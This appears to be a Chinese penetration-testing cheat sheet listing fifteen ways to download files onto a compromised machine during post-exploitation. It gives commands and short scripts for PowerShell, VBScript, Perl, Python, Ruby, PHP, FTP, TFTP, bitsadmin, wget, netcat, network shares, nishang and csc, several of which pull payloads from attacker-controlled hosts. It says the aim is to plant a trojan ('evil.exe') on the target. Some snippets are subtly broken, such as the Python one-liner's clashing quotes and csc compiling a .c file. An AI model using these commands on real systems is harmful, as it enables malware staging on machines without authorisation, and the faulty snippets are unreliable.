【后渗透】渗透中15种文件下载的方法
0x01 PowerShell 文件下载
$p = new-object system.net.webclient
$p.downloadfile("http://xx.xx.xx.xx\file","c:\xxx\xx\file")
powershell file download
当然也可以直接将上面语句写入到一个脚本中,比如test.ps1
然后powershell window中
.test.ps1
执行。
当然,默认情况下是无法执行powershell脚本的,需要在管理员权限下修改配置
powershell set-executionpolicy unrestricted
0x02 Visual Basic 文件下载
Set args = Wscript.Arguments
Url = "http://192.168.43.68:8000/1.py"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\users\pino\file\1.py", 2 '
end with
将上述代码保存在test.vbs
然后使用
cscript test.vbs
执行文件下载
0x03 Perl 文件下载
perl -MLWP::Simple -e 'getstore ("http://www.163.com/","163.html")'
0x04 Python 文件下载
python -c "import urllib2;u=urllib2.urlopen("http://xx.xxx.xx/1.py");localfile=open('c:\users\pino\file\1.py','w');localfile.write(u.read());localfile.close();"
0x05 Ruby 文件下载
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
0x06 PHP 文件下载
<?
$data = @file("http://xx.xx.xx/1.py");
$f = fopen("c:\users\pino\1.py", "w");
fwrite($f, $data[0]);
fclose($f);
?>
0x07 FTP文件下载
我们可以将想要执行的命令先写入一个txt中,然后用ftp命令就好了
1.txt
open 127.0.0.1
user_name
user_pass
get file(文件名)
quit
然后在命令行中执行
ftp -i -s:1.txt
ftp_windows
0x08 TFTP 文件下载
windows7 下默认是没有tftp的,可以WIN+R,然后输入appwiz.cpl,点击左侧的打开或关闭windows功能后,选中TFTP客户端即可启用TFTP客户端。
tftp -i host(本地的,这里可以是127.0.0.1) GET c:\users\pino\1.py(用于保存在本地的文件名) xxx.xx.xxx.xxx\1.py(远程tftp服务器上的文件)
0x09 bitsadmin 文件下载
bitsadmin是windows下的一个命令行工具
bitsadmin /transfer name(这个随便写,是任务名称) http://192.168.43.68:8000/1.py c:\users\pino\1.py
bitsadmin
0xA Wget 文件下载
wget http://192.168.43.68:8000/1.py
0xB netcat 文件下载
攻击者在linux下输入命令
cat file|nc -l 1234
这样把文件file的内容重定向到了攻击者的1234端口,无论谁访问攻击者的ip的这个端口,都能下载到文件了
nc host_ip 1234 > file
0xC Windows 共享 文件下载
net use x: \\192.156.1.17\temp$ "password" /user:username
$符号这里是在本地隐藏,写不写都行
0x0D Notepad 文件下载
这个姿势很神奇。
首先打开notepad,就是我们常说的记事本,点击文件-》打开,在文件名称内输入完整的URL,回合,就会发现记事本中的内容就是我们访问的URL的文本内容。
0x0E 使用powershell nishang 进行文件下载
nishang 是一个很不错的powershell渗透框架,在github上能够找到,里面有很多实用的渗透脚本,这里我们可以用ExeToText脚本,将想要下载的exe文件转换成txt,在用记事本打开,然后复制其中的内容,通过rdp剪贴板复制到目标机器上的txt文本,再通过TextToExe脚本转换为exe就好了。
0x0F 实用csc工具实现类文件下载
通常在渗透的过程中我们下载是为了将我们的木马传到目标机器上,因此我们可以另转思路,将木马的源码写好,直接在目标及其上编译就好了。在Windows下,c的编译器默认是在C:\Windows\Microsoft.NET\framework\version,version的话,不同位数的机器不一样,看情况而定,里面的csc.exe就是了。使用下面的命令
csc.exe /out:c:\users\pino\evil.exe c:\users\pino\evil.c